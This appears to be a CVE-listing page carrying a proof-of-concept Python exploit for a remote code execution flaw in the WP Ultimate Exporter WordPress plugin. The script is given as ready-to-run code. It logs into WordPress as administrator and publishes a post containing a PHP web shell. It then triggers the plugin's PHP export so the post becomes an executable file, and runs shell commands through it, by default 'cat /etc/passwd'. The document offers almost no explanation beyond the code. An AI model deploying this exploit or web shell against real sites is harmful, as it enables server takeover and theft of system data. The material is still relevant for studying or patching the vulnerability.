4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import re
import requests

# To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
    "https": PROXY_SERVER,
    "http": PROXY_SERVER,
}

def __login_get_session(login_id, login_pw):
    session = requests.session()
    data = {
        "log": login_id,
        "pwd": login_pw,
        "wp-submit": "Log In",
        "testcookie": 1
    }
    resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
    if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
        print(f" |- Successfully logged in with account {login_id}.")
        return session
    else:
        raise Exception(f"[-] Failed to log in.")

def create_post(session, title, content):
    response = session.get(f"{TARGET}/wp-admin/post-new.php", proxies=proxies)
    nonce_pattern = r'createNonceMiddleware\( "(.{10})" \)'
    post_id_pattern = r'<input type=\'hidden\' id=\'post_ID\' name=\'post_ID\' value=\'(\w+)\''
    nonce_match = re.search(nonce_pattern, response.text)
    post_id_match = re.search(post_id_pattern, response.text)

    if nonce_match and post_id_match:
        wp_nonce = nonce_match.group(1)
        post_ID = post_id_match.group(1)
        print(f" |- Extracted wp_nonce: {wp_nonce}, post_ID: {post_ID}")

        headers = {
            "X-WP-Nonce": wp_nonce,
            "Content-Type": "application/json",
        }
        params = {"rest_route": f"/wp/v2/posts/{post_ID}", "_locale": "user"}
        data = {"id":post_ID, "title": title, "content":content, "status":"publish"}

        response = session.post(
            f"{TARGET}/index.php",
            headers=headers,
            params=params,
            json=data,
            proxies=proxies,
        )
        if response.status_code == 200:
            print(f" |- Post created successfully. Post ID: {post_ID}")
            post_ID = post_ID
        else:
            raise ValueError("[-] Failed to create post.")
    else:
        raise ValueError("[-] Failed to extract wp_nonce or post_ID.")

def wp_ultimate_exporter_trigger(session):
    params = {
        "page": "com.smackcoders.csvimporternew.menu"
    }
    resp = session.get(f"{TARGET}/wp-admin/admin.php", params=params, proxies=proxies)
    nonce_pattern = r'var smack_nonce_object = .*?"nonce":"(.*?)"'
    nonce_match = re.search(nonce_pattern, resp.text)

    if nonce_match:
        smack_nonce = nonce_match.group(1)
        print(f" |- Extracted smack_nonce: {smack_nonce}")
        data = {
            "action": "parse_data",
            "module": "Posts",
            "securekey": smack_nonce,
            "fileName": "webshell",
            "exp_type": "php",
            "export_mode": "normal",
            "offset": 0
        }
        resp = session.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        exported_url = resp.json()['exported_file']
        print(f" |- Completed triggering RCE vulnerability.")
        print(f" |- Web Shell URL: {exported_url}")
        return exported_url

    else:
        raise ValueError("[-] Failed to extract smack_nonce")

def execute_command(trigger_url, command):
    print(f" |- Command entered: {command}")
    params = {
        "cmd": f"echo \"START\";{command};echo \"END\";"
    }
    resp = requests.get(trigger_url, params=params)
    pattern = r'START\n([\s\S]*?)\nEND'
    match = re.search(pattern, resp.text)
    print(f" |- Checking the result.")
    if match:
        result = match.group(1)
        print(f" | --------------------------------------")
        print("\n".join(f" | {line}" for line in result.splitlines()))
        print(f" | --------------------------------------")
    else:
        print(" |- Could not find the result for the entered command in the template.")

def poc(command):
    ####
    # 1. Log in as administrator
    ####
    print(f"[+] Logging in with administrator account.")
    print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
    admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
    admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
    
    ####
    # 2. Add a post containing Web Shell code
    ####
    print(f"[+] Adding a post containing Web Shell code.")
    create_post(
        admin_session,
        "WebShell",
        "<pre>\n\t<?php\n\t    if(isset($_GET['cmd']))\n\t    {\n\t        system($_GET['cmd']);\n\t    }\n\t?>\n</pre>"
    )

    ####
    # 3. Trigger WP Ultimate Exporter plugin RCE vulnerability
    ####
    print(f"[+] Triggering WP Ultimate Exporter plugin RCE vulnerability.")
    trigger_url = wp_ultimate_exporter_trigger(admin_session)

    ####
    # 3. Execute command
    ####
    print(f"[+] Executing command.")
    execute_command(trigger_url, command)

if __name__ == "__main__":

    # WordPress Target
    TARGET = "http://localhost:8080"

    # Administrator ID/PW
    ADMIN_ID = "admin"
    ADMIN_PW = "admin"

    poc(command="cat /etc/passwd")